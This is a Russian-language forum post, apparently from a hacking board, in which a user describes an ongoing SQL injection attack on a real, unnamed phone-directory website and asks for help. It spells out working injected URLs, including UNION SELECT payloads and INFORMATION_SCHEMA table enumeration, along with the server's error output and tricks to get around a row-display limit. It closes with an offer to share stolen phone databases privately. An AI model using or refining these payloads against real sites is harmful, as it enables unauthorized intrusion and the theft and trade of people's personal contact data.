|
Guest
Сообщений: n/a
Провел на форуме: 7147
Репутация:
0
|
|
Добрый вечер господа!
Буду признателен, если сможете мне подсказать.
Нашел SQL инъекцию на ресурсе (телефонный справочник), есть форма заполнения ФИО или номер телефона, собственно в ней и уязвимость.
Строка запроса получается так выглядит: /filename?fio=fio&telefon=123
Уязвимость присутствует в обоих переменных, при подставлении ' выходит следующее:
Bad SQL-query:
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123'%' LIMIT 0, 10
Mistake
Пытаюсь раскрутить стандартным образом:
/filename?fio=fio&telefon=123%27+order+by+1--
В ответ получаю следующее:
Bad SQL-query:
SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10
Mistake
Долго тупил, пробовал как то отбросить окончание запроса %' LIMIT 0, 10, которое автоматически подставлялось, но безуспешно.
Потом я осознал, что можно зайти несколько иным способом, поскольку подставляемое окончание запроса портило мне все карты, я разделил этот запрос, в конечном итоге прихожу к следующему запросу:
/filename?fio=&telefon=955448%27+union+select+1,2,3 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Запрос прошел, отобразив мне выводимые поля, но я столкнулся с сложностью при переборе имен таблиц.
Ресурс выводит на страницу не более 10 записей из БД, иначе пишет, что найдено слишком много записей уточните запрос.
Но при составлении следующего запроса:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+union+SEL ECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
Получаю следующее:
По вашему запросу найдено слишком много результатов (286). Пожалуйста, уточните ваш запрос.Mistake
Я так понимаю, запрос проходит без ошибки, он выделять имена столбцов (следуя из ответа сервера их около 280), но сам PHP скрипт на сервере не дает вывести их, так как в PHP скрипте в цикле идет проверка на размер массива и если он более 10 элементов, выводит вышеописанную ошибку.
Казалось бы чего сложного, можно перебрать поштучно используя LIMIT:
/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as
По логике он должен выбрать одну запись из БД и отобразить ее, но в ответ я получаю следующее:
По вашему запросу найдено слишком много результатов (319). Пожалуйста, уточните ваш запрос.Mistake
Кол-во выбранных записей из БД не то что бы уменьшилось, а наоборот даже несколько увеличилось. Подскажите, где я ошибаюсь?
п.с.
К сожалению сам ресурс с уязвимостью в открытую палить не хочу, но если кому интересны телефонные базы, пишите в личку поделюсь всей инфой
Коллеги, заранее благодарен!!)
|